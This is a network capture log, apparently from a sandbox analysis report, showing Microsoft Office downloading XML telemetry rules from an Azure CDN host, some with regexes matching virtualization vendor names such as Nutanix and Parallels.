2024-11-21 02:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:47 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020847Z-r1d97b99577sdxndhC1TEBec5n00000009wg0000000072yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:47 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:47 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020847Z-r1d97b995777mdbwhC1TEBezag00000009pg00000000g677 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:47 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020849Z-178bfbc474bw8bwphC1NYC38b400000000p000000000feua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:49 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd359c47-601e-0002-7817-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020849Z-r1d97b99577xdmfxhC1TEBqbhg000000019000000000k1qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:49 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 30ed5e4a-c01e-000b-11b8-3be255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020849Z-r1d97b99577kk29chC1TEBemmg00000009q000000000k74x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:49 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3585b350-301e-005d-097c-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020849Z-178bfbc474brk967hC1NYCfu6000000000f000000000kv4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:49 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:49 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020849Z-178bfbc474bnwsh4hC1NYC2ubs00000000zg000000002kgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:51 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:51 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020851Z-178bfbc474b9xljthC1NYCtw9400000000p000000000x7fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:51 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:51 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:51 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020851Z-r1d97b99577n4dznhC1TEBc1qw00000009t0000000008k7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:51 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:51 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 137cb315-101e-0017-3264-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020851Z-178bfbc474brk967hC1NYCfu6000000000pg000000008bnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:51 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020851Z-178bfbc474bbbqrhhC1NYCvw7400000000wg00000000xf2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:51 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:51 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020851Z-178bfbc474b7cbwqhC1NYC8z4n00000000t00000000085v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
